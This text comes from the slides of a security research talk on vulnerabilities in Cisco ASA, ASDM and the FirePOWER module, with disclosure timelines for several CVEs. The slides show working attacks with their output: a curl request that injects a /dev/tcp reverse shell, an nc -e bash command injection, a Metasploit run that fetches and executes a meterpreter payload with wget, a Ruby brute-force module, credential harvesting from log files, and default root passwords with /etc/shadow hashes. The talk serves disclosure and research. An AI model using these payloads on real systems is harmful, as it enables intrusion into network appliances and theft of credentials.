Do Not Trust the ASA, Trojans!

Jacob Baines
Lead Security Researcher
Rapid7

August 13, 2022
Introduction

Adaptive Security Appliance (ASA)

Original ASA

ASA-X

ASA-X with FirePOWER Services
Introduction

ASA Virtual Appliance (ASAv)

(c) (1) (ii) of the Rights in Technical Data and Computer Software clause at DFARS sec. 252.227-7013.

Cisco Systems, Inc.
170 West Tasman Drive
San Jose, California 95134-1706

Error: Failed to read OVF checksum from the secure store. rcode 6
......
Cryptochecksum (unchanged): 201edc01 4d9fd620 a041d095 75ae1b5d

INFO: Power-On Self-Test in process.

INFO: Power-On Self-Test complete.

INFO: Starting SW-DRBG health test...
INFO: SW-DRBG health test passed.
User enable_1 logged in to ciscoasa
Logins over the last 1 days: 1.
Failed logins since the last login: 0.
Type help or '?' for a list of available commands.
ciscoasa>
Warning: ASA Virtual platform license state is Unlicensed.
Install ASA Virtual platform license for full functionality.
Introduction

Sort of ASA
Introduction

Adaptive Security Appliance (ASA)
Introduction

Do Not Trust the ASA
Introduction

Adaptive Security Device Manager (ASDM)
Understanding ASDM

Starting ASDM Under the Hood

Load and execute SGZ contents

Request pdm.sgz

pdm.sgz

Admin session

Internet

Corporate Network

Cisco ASA

Firewall

VPN

IPS

Router

Switch

Switch

LAN A

LAN B
Exploiting ASDM

ASDM Does Not Verify the Server Cert (No CVE)
Exploiting ASDM

Adaptive Security Appliance (ASA)
Exploiting ASDM

Example Man in the Middle via mitmproxy

```
Flows
>> GET https://10.0.0.23/admin/login_banner
    ← 200 text/plain [no content] 7ms
GET https://10.0.0.23/admin/version.prop
    ← 401 text/html 156b 7ms
GET https://10.0.0.23/admin/version.prop
    ← 200 112b 17ms
GET https://10.0.0.23/admin/pdm.sgz
    ← 200 47.56m 1.85s
GET https://10.0.0.23/admin/asdm_banner
    ← 200 text/plain [no content] 7ms
GET https://10.0.0.23/admin/exec/show+version/show+curpriv/perfmon+i
    ← 200 text/plain 2.65k 22ms
GET https://10.0.0.23/admin/exec/show+module
    ← 200 text/plain 85b 15ms
GET https://10.0.0.23/admin/exec/show+cluster+interface-mode
    ← 200 text/plain 26b 14ms
GET https://10.0.0.23/admin/exec/show+cluster+info
    ← 200 text/plain 29b 18ms
GET https://10.0.0.23/admin/exec/show+run+cluster+%7C+grep+vpn-mode
    ← 200 text/plain [no content] 18ms
```
Exploiting ASDM

What is in the SGZ?

Contents of 7.18.1 SGZ

- 13472 class files
- 6 jars
- 1 prop file
- 4 properties files
- 3 txt files
- 1 SIGNATURE files
Exploiting ASDM

SGZ Client Logic Isn’t Properly Verified
Exploiting ASDM

SGZ Client Logic Isn’t Properly Verified

```java
public synchronized Class loadClass(String paramString, boolean paramBoolean) throws ClassNotFoundException {
    Class<?> clazz;
    if (clazz = findLoadedClass(paramString) != null)
        return clazz;
    if (Loader._ParentClassTab != null) {
        Object object = Loader._ParentClassTab.get(paramString);
        if (object != null)
            return (Class)object;
    }
    try {
        if (clazz = findSystemClass(paramString) != null)
            return clazz;
    }
    catch (ClassNotFoundException paramClassNotFoundException) {}
    String str = paramString.replace('.', '/') + '.class';
    byte[] arrayOFByte = null;
    try {
        JarEntry jarEntry = this.$g$Reader.retrievalEntry(str);
        arrayOFByte = jarEntry.getBytes();
        this.$g$Reader.removeEntry(str);
        clazz = defineClass(paramString, arrayOFByte, 0, arrayOFByte.length, jarEntry, isSigned ? this.signedFD : this.unsignedFD);
        if (paramBoolean)
            resolveClass(clazz);
    }
    catch (Exception paramException) {
        if (this._parent != null)
            try {
                if (clazz = this._parent.loadClass(paramString)) != null)
                    return clazz;
            }
            catch (ClassNotFoundException paramClassNotFoundException) {}
    }
    throw new ClassNotFoundException(paramString);
}
```
Malicious ASDM on the ASA

SGZ Client Logic Isn’t *Properly* Verified

```java
JPClassLoader(ClassLoader paramClassLoader) {
    this._codebase = Loader.OuterApplet.getDocumentBase();
    this._parent = paramClassLoader;
    this._signedPD = getClass().getProtectionDomain();
    Permissions permissions = new Permissions();
    Enumeration<Permission> enumeration = this._signedPD.getPermissions().elements();
    while (enumeration.hasMoreElements()) {
        Permission permission = enumeration.nextElement();
        if (!(permission instanceof java.security.AllPermission))
            permissions.add(permission);
    }
    permissions.add(new AWTPermission("showWindowWithoutWarningBanner"));
    this._unsignedPD = new ProtectionDomain(this._signedPD.getCodeSource(), permissions);
    this._sgzReader = SgzReader.New(this);
    UIManager.put("ClassLoader", this);
}
```
Exploiting ASDM

SGZ Client Logic Isn’t Verified

Summary

A vulnerability in the Cisco Adaptive Security Device Manager (ASDM) Launcher could allow an unauthenticated, remote attacker to execute arbitrary code on a user’s operating system.

This vulnerability is due to a lack of proper signature verification for specific code exchanged between the ASDM and the Launcher. An attacker could exploit this vulnerability by leveraging a man-in-the-middle position on the network to intercept the traffic between the Launcher and the ASDM and then inject arbitrary code. A successful exploit could allow the attacker to execute arbitrary code on the user’s operating system with the level of privileges assigned to the ASDM Launcher. A successful exploit may require the attacker to perform a social engineering attack to persuade the user to initiate communication from the Launcher to the ASDM.

Cisco has not released software updates that address this vulnerability. There are no workarounds that address this vulnerability.
Exploiting ASDM

CVE-2021-1585 Exploitable by Evil Endpoint

1. Administrator connects to attacker using the ASDM client

2. The attacker responds with a malicious SGZ file.

3. A reverse shell is established from the Administrator to the attacker
Exploiting ASDM

CVE-2021-1585 Exploits

Exploitation
- Missing SSL verification (No CVE) plus SGZ code not verified (CVE-2021-1585)
- Evil endpoint or Man in the Middle

CVE-2021-1585
- Disclosed in July 2021 with no patch
- Failed patch in June 2022
- Remains unpatched as of July 2022
- Discovery credited to Malcolm Lashley

Exploits
- staystaystay
- Metasploit module

github.com/jbaines-r7/staystaystay
github.com/jbaines-r7/cisco_asa_research/tree/main/modules/cve_2021_1585
Crafting a Malicious ASDM Package

Hacker Cat Can’t Get Inside Corpnet

Corporate Network

Cisco ASA

Firewall  VPN  IPS  Router

Switch

Switch

LAN A

LAN B
Crafting a Malicious ASDM Package

Unless... We Modify the SGZ on the ASA!
Crafting a Malicious ASDM Package

How Does the SGZ Get on the ASA?
Crafting a Malicious ASDM Package

ASDM Binary Package Format
Crafting a Malicious ASDM Package

Is this a Security Feature?

- Header
- Manifest
- Files
- Raw Data
- Magic
- Description
- File length
- Hash
- Filename
- Data offset
- Data length
- File length
- Hash

Is this a Security Feature?
Crafting a Malicious ASDM Package

Nope. Just an MD5 Hash.
Crafting a Malicious ASDM Package

CVE-2022-20829: Missing ASDM Package Verification

Summary

A vulnerability in the packaging of Cisco Adaptive Security Device Manager (ASDM) images and the validation of those images by Cisco Adaptive Security Appliance (ASA) Software could allow an authenticated, remote attacker with administrative privileges to upload an ASDM image that contains malicious code to a device that is running Cisco ASA Software.

This vulnerability is due to insufficient validation of the authenticity of an ASDM image during its installation on a device that is running Cisco ASA Software. An attacker could exploit this vulnerability by installing a crafted ASDM image on the device that is running Cisco ASA Software and then waiting for a targeted user to access that device using ASDM. A successful exploit could allow the attacker to execute arbitrary code on the machine of the targeted user with the privileges of that user on that machine.
Crafting a Malicious ASDM Package

ASA Will Host *Any* ASDM Package
## Crafting a Malicious ASDM Package

### ASDM Package Contents

<table>
<thead>
<tr>
<th>magic</th>
<th>description</th>
<th>file length</th>
<th>hash</th>
</tr>
</thead>
</table>

### Files

1. `asdm50-install.msi`
2. `asdmversion.html`
3. `dm-launcher.dmg`
4. `dm-launcher.msi`
5. `pdm.sgz`
6. `pdmversion.html`
7. `public/asa-pix.gif`
8. `public/asdm.jnlp`
9. `public/asdm32.gif`
10. `public/cert.jnlp`
11. `public/cisco.gif`
12. `public/deployJava.js`
13. `public/dm-launcher.jar`
14. `public/index.html`
15. `public/jploader.jar`
16. `public/lzma.jar`
17. `public/retroweaver-rt-2.0.jar`
18. `public/startup.jnlp`
19. `version.prop`
Crafting a Malicious ASDM Package

ASDM Package Browser Content

Header
- Magic
- Description
- File length
- Hash

Manifest
- Filename
- Data offset
- Data length

Files
- Raw Data

Raw Data

1. asdm50-install.msi
2. asdmversion.html
3. dm-launcher.dmg
4. dm-launcher.msi
5. pdm.sgz
6. pdmversion.html
7. public/asa-pix.gif
8. public/asdm.jnlp
9. public/asdm32.gif
10. public/cert.jnlp
11. public/cisco.gif
12. public/deployJava.js
13. public/dm-launcher.jar
14. public/index.html
15. public/jploader.jar
16. public/lzma.jar
17. public/retroweaver-rt-2.0.jar
18. public/startup.jnlp
19. version.prop
Crafting a Malicious ASDM Package

ASDM Package Installers

1. `asdm50-install.msi`
2. `asdmversion.html`
3. `dm-launcher.dmg`
4. `dm-launcher.msi`
5. `pdm.sgz`
6. `pdmversion.html`
7. `public/asa-pix.gif`
8. `public/asdm.jnlp`
9. `public/asdm32.gif`
10. `public/cert.jnlp`
11. `public/cisco.gif`
12. `public/deployJava.js`
13. `public/dm-launcher.jar`
14. `public/index.html`
15. `public/jploader.jar`
16. `public/lzma.jar`
17. `public/retroweaver-rt-2.0.jar`
18. `public/startup.jnlp`
19. `version.prop`
### Crafting a Malicious ASDM Package

#### ASDM Package Web Start Content

<table>
<thead>
<tr>
<th>Magic</th>
<th>Description</th>
<th>File length</th>
<th>Hash</th>
</tr>
</thead>
</table>

#### Files

<table>
<thead>
<tr>
<th>Filename</th>
<th>Data offset</th>
<th>Data length</th>
</tr>
</thead>
<tbody>
<tr>
<td>asdm50-install.msi</td>
<td></td>
<td></td>
</tr>
<tr>
<td>asdmversion.html</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dm-launcher.dmg</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dm-launcher.msi</td>
<td></td>
<td></td>
</tr>
<tr>
<td>pdm.sgz</td>
<td></td>
<td></td>
</tr>
<tr>
<td>pdmversion.html</td>
<td></td>
<td></td>
</tr>
<tr>
<td>public/asa-pix.gif</td>
<td></td>
<td></td>
</tr>
<tr>
<td>public/asdm.jnlp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>public/asdm32.gif</td>
<td></td>
<td></td>
</tr>
<tr>
<td>public/cert.jnlp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>public/cisco.gif</td>
<td></td>
<td></td>
</tr>
<tr>
<td>public/deployJava.js</td>
<td></td>
<td></td>
</tr>
<tr>
<td>public/dm-launcher.jar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>public/index.html</td>
<td></td>
<td></td>
</tr>
<tr>
<td>public/jploader.jar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>public/lzma.jar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>public/retroweaver-rt-2.0.jar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>public/startup.jnlp</td>
<td></td>
<td></td>
</tr>
<tr>
<td>version.prop</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Crafting a Malicious ASDM Package

ASDM Package Contains pdm.sgz

<table>
<thead>
<tr>
<th>Magic</th>
<th>Description</th>
<th>File length</th>
<th>Hash</th>
<th>Filename</th>
<th>Data offset</th>
<th>Data length</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

1. asdm50-install.msi
2. asdmversion.html
3. dm-launcher.dmg
4. dm-launcher.msi
5. **pdm.sgz**
6. pdmversion.html
7. public/asa-pix.gif
8. public/asdm.jnlp
9. public/asdm32.gif
10. public/cert.jnlp
11. public/cisco.gif
12. public/deployJava.js
13. public/dm-launcher.jar
14. public/index.html
15. public/jploader.jar
16. public/lzma.jar
17. public/retroweaver-rt-2.0.jar
18. public/startup.jnlp
19. version.prop
Crafting a Malicious ASDM Package

Extracting ASDM Packages

The Way
- Parses and extracts ASDM packages
- Rebuilds ASDM packages
- Generates ASDM packages

CVE-2022-20829
- Disclosed to Cisco in February 2022
- ASA Software fix planned for August 2022.
Crafting a Malicious ASDM Package

Rebuilding ASDM Packages

The Way
- Parses and extracts ASDM packages
- Rebuilds ASDM packages
- Generates ASDM packages

CVE-2022-20829
- Disclosed to Cisco in February 2022
- ASA Software fix planned for August 2022.

github.com/jbaines-r7/theway
The Way

- Parses and extracts ASDM packages
- Rebuilds ASDM packages
- Generates ASDM packages

CVE-2022-20829

- Disclosed to Cisco in February 2022
- ASA Software fix planned for August 2022.

github.com/jbaines-r7/theway
Crafting a Malicious ASDM Package

Generate ASDM Packages

The Way
- Parses and extracts ASDM packages
- Rebuilds ASDM packages
- Generates ASDM packages

CVE-2022-20829
- Disclosed to Cisco in February 2022
- ASA Software fix planned for August 2022.

github.com/jbaines-r7/theway
Crafting a Malicious ASDM Package

Malicious Cisco ASA
Crafting a Malicious ASDM Package

How to Get Malicious ASDM Installed?!
Crafting a Malicious ASDM Package

Supply Chain Issue
Crafting a Malicious ASDM Package

ASDM Update Is Separate From ASA Software
Crafting a Malicious ASDM Package

Does Anyone Update ASDM?

ASDM Version Scanner

- Input a CSV of IP and ports
- Output a list of IP and ASDM versions
- Demonstrates use with Shodan data
- Results from June 17 stored on GitHub

github.com/jbaines-r7/asdm_version_scanner
Crafting a Malicious ASDM Package

No One Updates the ASA ASDM Package

<table>
<thead>
<tr>
<th>ASDM Version</th>
<th>Count</th>
<th>Version Release Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>7.8(2)</td>
<td>3202</td>
<td>August 28, 2017</td>
</tr>
<tr>
<td>7.13(1)</td>
<td>1698</td>
<td>September 24, 2019</td>
</tr>
<tr>
<td>7.15(1)</td>
<td>1597</td>
<td>February 8, 2021</td>
</tr>
<tr>
<td>7.16(1)</td>
<td>1139</td>
<td>June 15, 2021</td>
</tr>
<tr>
<td>7.9(2)</td>
<td>1070</td>
<td>May 09, 2018</td>
</tr>
<tr>
<td>7.14(1)</td>
<td>1009</td>
<td>April 06, 2020</td>
</tr>
<tr>
<td>7.8(1)</td>
<td>891</td>
<td>May 15, 2017</td>
</tr>
<tr>
<td>7.17(1)</td>
<td>868</td>
<td>February 08, 2022</td>
</tr>
<tr>
<td>7.6(1)</td>
<td>778</td>
<td>March 20, 2016</td>
</tr>
<tr>
<td>7.12(2)</td>
<td>756</td>
<td>May 29, 2019</td>
</tr>
</tbody>
</table>

Data gathered June 17, 2022
Remotely Rooting the ASA-X FirePOWER Module
Remotely Rooting the ASA-X FirePOWER Module

ASA-X with FirePOWER Services
Remotely Rooting the ASA-X FirePOWER Module

ASA-X with FirePOWER Services Explained

Cisco ASA-X with FirePOWER Services

Main System

Inside

Firewall Policy

VPN Decryption

Outside

Diverted Traffic

Block

ASA FirePOWER Module Deep Packet Inspection

ASA FirePOWER Services
Remotely Rooting the ASA-X FirePOWER Module

ASA-X with FirePOWER Services Explained
The command to invoke FirePOWER shell from ASA CLI

The FirePOWER shell requires a new set of credentials (admin:Admin123)

FirePOWER module shell
Remotely Rooting the ASA-X FirePOWER Module

“expert” == Root Shell

```
Cisco Fire Linux OS v6.2.3 (build 13)
Cisco ASA5506 v6.2.3 (build 83)

Last login: Thu May 26 20:31:37 UTC 2022 on ttyS1
>
configure  Change to Configuration mode
exit       Exit this CLI session
*expert*  Invoke a shell
history    Display the current session's command line history
logout     Logout of the current CLI session
show       Change to Show Mode
system     Change to System Mode

> expert
admin@(none):~$ sudo su
Password:
Last login: Thu May 26 20:43:45 UTC 2022 on ttyS1
root@(none):/Volume/home/admin# uname -a
Linux (none) 3.10.107sf.cisco-1 #1 SMP PREEMPT Thu Mar 8 18:29:04 UTC 2018 x86_64 GNU/Linux
root@(none):/Volume/home/admin# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
root@(none):/Volume/home/admin# ```
Remotely Rooting the ASA-X FirePOWER Module

FirePOWER Provides SSH Root Shell “Feature”
Remotely Rooting the ASA-X FirePOWER Module

An Attacker’s Dream
Remotely Rooting the ASA-X FirePOWER Module

“lockdown-sensor” == forever disable “expert”
Remotely Rooting the ASA-X FirePOWER Module

ASDM Can Talk to the FirePOWER Module
Remotely Rooting the ASA-X FirePOWER Module

No FirePOWER Module Root Shell :( 

![Image of ASDM interface](image.png)
Remotely Rooting the ASA-X FirePOWER Module

```
session sfr do `shell command`
```

This command interface allows you to type a command to be sent directly to the device. For command help, type a command followed by a question mark. For commands that would prompt for confirmation, add an appropriate noconfirm option as parameter to the command and send it to the device. To make the changes permanent, use the File > Save Running Configuration to Flash menu option to save the configuration to flash.

Command:
- [ ] Single Line
- [ ] Multiple Line
- [ ] Enable context sensitive help

```
session sfr do `id`
```

Response:
```
Result of the command: "session sfr do `id`"

Invalid do command uid=0(root)
```

Clear Response
Remotely Rooting the ASA-X FirePOWER Module

session sfr do `shell command`
Remotely Rooting the ASA-X FirePOWER Module

Tweetable Reverse Shell

```bash
albinolobster@ubuntu:~$ curl -k -u albinolobster:labpass1 \
> -H "User-Agent: ASDM/ Java/1.8" \
> "https://10.12.70.253/admin/exec/session+sfr+do+`bash%20-t%20>8%20%2fdev%2f tcp%2f10.12.70.252%2f1270%20>&1`"
```

```bash
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.12.70.253 47571
bash: no job control in this shell
bash-3.2# id
id
uid=0(root) gid=0(root) groups=0(root)
bash-3.2# uname -a
uname -a
Linux firepower 3.10.107sf.cisco-1 #1 SMP PREEMPT Thu Mar 8 18:29:04 UTC 2018 x86_64 GNU/Linux
bash-3.2#
```
Remotely Rooting the ASA-X FirePOWER Module

session sfr do `ghost in the shell`
Remotely Rooting the ASA-X FirePOWER Module

CVE-2022-20828: Authenticated RCE

Cisco FirePOWER Software for ASA FirePOWER Module Command Injection Vulnerability

First Published: 2022 June 22 16:00 GMT
Version 1.0: Final
Workarounds: No workarounds available
Cisco Bug IDs: CSCwb32418
CVSS Score: Base 6.5

Summary

A vulnerability in the CLI parser of Cisco FirePOWER Software for Adaptive Security Appliance (ASA) FirePOWER module could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected ASA FirePOWER module as the root user.

This vulnerability is due to improper handling of undefined command parameters. An attacker could exploit this vulnerability by using a crafted command on the CLI or by submitting a crafted HTTPS request to the web-based management interface of the Cisco ASA that is hosting the ASA FirePOWER module.
Remotely Rooting the ASA-X FirePOWER Module

ASDM Still Uses Basic Auth By Default
Remotely Rooting the ASA-X FirePOWER Module

Default Credentials are <blank>:<blank>

Step 1
On the computer that you specified as the ASDM client, enter the following URL:

https://asa_ip_address/admin

Note: Be sure to specify https://, and not http:// or just the IP address (which defaults to HTTP); the ASA does not automatically forward an HTTP request to HTTPS.

The ASDM launch page appears with the following buttons:

- Install ASDM Launcher and Run ASDM
- Run ASDM
- Run Startup Wizard

Step 2
To download the Launcher:

a. Click Install ASDM Launcher and Run ASDM.

b. Leave the username and password fields empty (for a new installation) and click OK. With no HTTPS authentication configured, you can gain access to ASDM with no username and the enable password, which is blank by default. Note: If you enabled HTTPS authentication, enter your username and associated password. Even without authentication, if you enter a username and password at the login screen (instead of leaving the username blank), ASDM checks the local database for a match.

c. Save the installer to your computer, and then start the installer. The ASDM-IDM Launcher opens automatically after installation is complete.

d. Enter the management IP address, the same username and password (blank for a new installation), and then click OK.
Remotely Rooting the ASA-X FirePOWER Module

Credentials in Log Files

```
msf5 exploit(multi/handler) > use post/windows/gather/credentials/cisco_asa_logfile
msf5 post/windows/gather/credentials/cisco_asa_logfile > set SESSION 1
SESSION 1
msf5 post/windows/gather/credentials/cisco_asa_logfile > run

[+] Filtering based on these selections:
[ ] ARTIFACTS: All
[ ] STORE_LOOT: true
[ ] EXTRACT_DATA: true

[+] Asdm's Asdm-Idm-log-log file found
[+] Downloading C:\Users\albinolobster\asa\log\asdm-Idm-log-2022-06-24-15-30-15.txt
[?] File saved to: /home/albinolobster/msf4/loot/20220627095019_default_10.9.49.249_asdasdmadminlog_426793.txt

[?] File with data saved: /home/albinolobster/.msf4/loot/20220627095019_default_10.9.49.249_EXTRATIONasdmlog_452898.txt
[?] Downloading C:\Users\albinolobster\asa\log\asdm-Idm-log-2022-06-24-15-30-41.txt
[?] File saved to: /home/albinolobster/.msf4/loot/20220627095019_default_10.9.49.249_asdasdmadminlog_025293.txt

[?] loggedinusername=albinolobster
[?] password=\"labpass1\"
[?] username=\"root\"
[?] File with data saved: /home/albinolobster/.msf4/loot/20220627095019_default_10.9.49.249_EXTRATIONasdmlog_761021.txt
[?] Downloading C:\Users\albinolobster\asa\log\asdm-Idm-log-2022-06-24-16-53-34.txt
[?] Asdm Asdm-Idm-log-2022-06-24-16-53-34.txt downloaded
[?] File saved to: /home/albinolobster/.msf4/loot/20220627095019_default_10.9.49.249_asdasdmadminlog_070388.txt

[?] PackRat credential sweep Completed
```

ASDM Client Logs Creds

- Metasploit module that uses PackRAT interface to search for ASDM credentials in log files.
- Cisco assigned CVE-2022-20651

Repository:
github.com/jbaines-r7/cisco_asa_research/tree/main/modules/cve_2022_20651
Remotely Rooting the ASA-X FirePOWER Module

No Default Brute-Force Protection
ASDM Brute-Force Metasploit Module

```ruby
# Brute-force the login page
def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")
    res = send_request_cgi({
        'uri' => normalize_uri('/admin/version.prop'),
        'agent' => 'ASDM/ Java/1.8.0.333',
        'authorization' => basic_auth(user, pass)
    })

    # check if the user was forwarded to the version.prop file
    if res && res.code == 200 && res.body.include?('asdm.version=') && res.body.include?('launcher.version=')
        print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}"
        report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
    
        return :next_user
    else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
    end
end
```

ASDM HTTP Brute-Force

- Generic HTTP brute-force won’t work due to user agent requirements.
- Previous ASA brute-force modules hit the clientless VPN interface.
- ASDM credentials can give privileged access and aid in network pivoting!
- No shame in brute-force attacks. If it’s good enough for GRU, it’s good enough for you.

github.com/jbaines-r7/cisco_asa_research/tree/main/modules/asdm_bruteforce
Remotely Rooting the ASA-X FirePOWER Module

CVE-2022-20828 Exploits

Exploitation

- Authenticated command injection over HTTP or SSH to establish a root shell within FirePOWER module VM.

CVE-2022-20828

- Disclosed to vendor in March 2022
- Some versions patched in June 2022
- Some planned to be patched in December 2022

Exploits

- curl
- Metasploit module
Remotely Rooting the ASA-X FirePOWER Module

Dump Running Config over ASDM

Dump Config Over HTTP
- Not supposed to be possible?
- Metasploit module dumps the running configuration and extracts usernames and passwords.
- Updates the Cisco configuration parser

github.com/jbaines-r7/cisco_asa_research/tree/main/modules/asdm_fetch_config
Getting Root with an ASA-X FirePOWER Boot Image
Getting Root with an ASA-X FirePOWER Boot Image

FirePOWER Module Not Installed, What Do?
Getting Root with an ASA-X FirePOWER Boot Image

FirePOWER Module Boot Image Root Shell
Getting Root with an ASA-X FirePOWER Boot Image

FirePOWER Module Installation

ASA 5506-X with FirePOWER Services

Release 6.2.3

Related Links and Documentation
- Firepower Hotfix Release Notes
- Release Notes for 6.2.3
- Documentation Roadmap

We recommend upgrading to our Suggested Release, as indicated by a gold star for each product, to take advantage of resolved issues. For details, see the release notes.

File Information

<table>
<thead>
<tr>
<th>File Name</th>
<th>Release Date</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>ASA FirePOWER module upgrade from 6.2.2 to 6.2.3</td>
<td>28-Sep-2018</td>
<td>5.95 MB</td>
</tr>
<tr>
<td>Do not untar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Cisco_Network_Sensor_Hotfix_H-6.2.3.999-5.sh.REL.tar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Advisories</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ASA FirePOWER module upgrade from 6.2.2 to 6.2.3</td>
<td>01-Apr-2018</td>
<td>1200.90 MB</td>
</tr>
<tr>
<td>Do not untar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Cisco_Network_Sensor_Upgrade-6.2.3-83.sh.REL.tar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Advisories</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ASA FirePOWER module boot image</td>
<td>01-Apr-2018</td>
<td>46.97 MB</td>
</tr>
<tr>
<td>asafmr-5500x-boot-6.2.3-4.img</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Advisories</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ASA FirePOWER module install package</td>
<td>01-Apr-2018</td>
<td>1278.99 MB</td>
</tr>
<tr>
<td>asafmr-sys-6.2.3-83.pkg</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Advisories</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Getting Root with an ASA-X FirePOWER Boot Image

Install the FirePOWER Boot Image

Complete these steps in order to download the boot image via the ASA CLI:

a. Download the boot image on an FTP, TFTP, HTTP, or HTTPS server.

b. Enter the `copy` command into the CLI in order to download the boot image to the flash drive. Here is an example that uses HTTP protocol (replace the `<HTTP_Server>` with your server IP address and `asasfr-5500x-boot-5.3.1-152.img`):

```
ciscoasa# copy http://<HTTP_SERVER>/asasfr-5500x-boot-5.3.1-152.img
disk0:/asasfr-5500x-boot-5.3.1-152.img
```

3. Enter this command in order to configure the ASA SFR boot image location in the ASA flash drive:

```
ciscoasa# sw-module module sfr recover configure image disk0:/file_path
```

Here is an example:

```
ciscoasa# sw-module module sfr recover configure image disk0:/asasfr-5500x-boot-5.3.1-152.img
```

4. Enter this command in order to load the ASA SFR boot image:

```
ciscoasa# sw-module module sfr recover boot
```
Getting Root with an ASA-X FirePOWER Boot Image

Drop to the FirePOWER Boot Image Shell

Set Up the ASA SFR Boot Image

Complete these steps in order to set up the newly installed ASA SFR boot image:

1. Press Enter after you open a session in order to reach the login prompt.

ℹ️ Note: The default username is admin. The password differs based on software release: Admin123 for 7.0.1 (new device from the factory only), Admin123 for 6.0, and later Sourcefire for pre-6.0.

Here is an example:

ciscoasf# session sfr console
Opening console session with module sfr.
Connected to module sfr. Escape character sequence is 'CTRL-X'.

Cisco ASA SFR Boot Image 5.3.1
asasfr login: admin
Password: Admin123
Getting Root with an ASA-X FirePOWER Boot Image

The FirePOWER Boot Image Shell

```
Cisco FirePOWER Services Boot Image 6.2.3

asasfr login: admin
Password:

Cisco FirePOWER Services Boot 6.2.3 (4)
Type ? for list of commands
asasfr-boot>?
  show => Display system information. Enter show ? for options
  config => Configure the system. Enter config ? for options
  system => Control system operation
  setup => System Setup Wizard
  support => None
  delete => Delete files
  ping => Ping a host to check reachability
  nslookup => Look up an IP address or host name with the DNS servers
  traceroute => Trace the route to a remote host
  exit => Exit the session
  help => Get help command syntax
asasfr-boot>
```
Getting Root with an ASA-X FirePOWER Boot Image

Drop to a Root Shell Instead

cisco123

```
Cisco FirePOWER Services Boot Image 6.2.3

asasfr login: root
Password:
root@asasfr-boot:~# id
uid=0(root) gid=0(root)
root@asasfr-boot:~# cat /etc/shadow
admin:$1$s7kZhS9FH$lnXUUEAZXqxcGkF5VJXR1:14966:0:99999:7::
root:$1$s5OqRlo.4SyWM0g/HPI944EtyFcE52I/:14966:0:99999:7::
sshd:!19139:0:99999:7::
root@asasfr-boot:~#  
```
Getting Root with an ASA-X FirePOWER Boot Image

We’re Back!
system install http://10.0.0.1/'nc$IFS10.0.0.28$IFS1270$IFS-e$IFSbash`
Getting Root with an ASA-X FirePOWER Boot Image

Python-Based Exploit

Exploitation


Not a vulnerability

- Disclosed to vendor in March 2022
- Vendor states this is not a vulnerability
- Removed in Boot Image 7.0+
- Unpatchable? No mechanism to stop loading of old boot images.

Exploits

- Python script
- SSH Metasploit module
Getting Root with an ASA-X FirePOWER Boot Image

Metasploit-Based Exploit

Exploitation


Not a vulnerability

- Disclosed to vendor in March 2022
- Vendor states this is not a vulnerability
- Removed in Boot Image 7.0+
- Unpatchable? No mechanism to stop loading of old boot images.

Exploits

- Python script
- SSH Metasploit module

```bash
msf6 exploit (linux/ssh/cisco_asax_firepower_boot_root) > set IMAGE_PATH disk0:/asasfr-5500x-boot-6.2.3-4.1mg
msf6 exploit (linux/ssh/cisco_asax_firepower_boot_root) > set PASSWORD labpass1
msf6 exploit (linux/ssh/cisco_asax_firepower_boot_root) > set USERNAME albinoLobster
msf6 exploit (linux/ssh/cisco_asax_firepower_boot_root) > set LHOST 10.12.70.252
msf6 exploit (linux/ssh/cisco_asax_firepower_boot_root) > set RHOST 10.12.70.253
msf6 exploit (linux/ssh/cisco_asax_firepower_boot_root) > run
```

```
[*] Started reverse TCP handler on 10.12.70.252:4444
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Using URL: http://10.12.70.252:8080/iaXINV
[*] 10.12.70.253:22 - Attempting to login...
[*] Authenticated with the remote server
[*] Restarting SFR, Sleep for 120 seconds
[*] Booting the image... this will take a few minutes
[*] Configuring DHCP for the image
[*] Dropping to the root shell

wget -qO /tmp/scOKRuCR http://10.12.70.252:8080/iaXINV; chmod +x /tmp/scOKRuCR; /tmp/scOKRuCR

[*] Client 10.12.70.253 (Wget) requested /iaXINV
[*] Sending payload to 10.12.70.253 (Wget)
[*] Sending stage (988382 bytes) to 10.12.70.253
[*] Meterpreter session 1 opened (10.12.70.252:4444 -> 10.12.70.253:53445) at 2022-07-05 07:37:22 -0700
[*] Done!
[*] Command Stager progress - 100.00% done (111/111 bytes)
[*] Server stopped.

meterpreter > shell
Process 2168 created.
Channel 1 created.
uname -a
Linux asasfr 3.10.1076 #1 SMP PREEMPT Fri Nov 10 17:08:45 UTC 2017 x86_64 GNU/Linux
id
uid=0(root) gid=0(root)
```
Distributable Malicious FirePOWER Boot Image for ASA-X
Distributable Malicious FirePOWER Boot Image for ASA-X

Hacker Cat Has No Access!

Cisco ASA-X with FirePOWER Services

Inside

Main System

Firewall Policy

VPN Decryption

Outside

Diverted Traffic

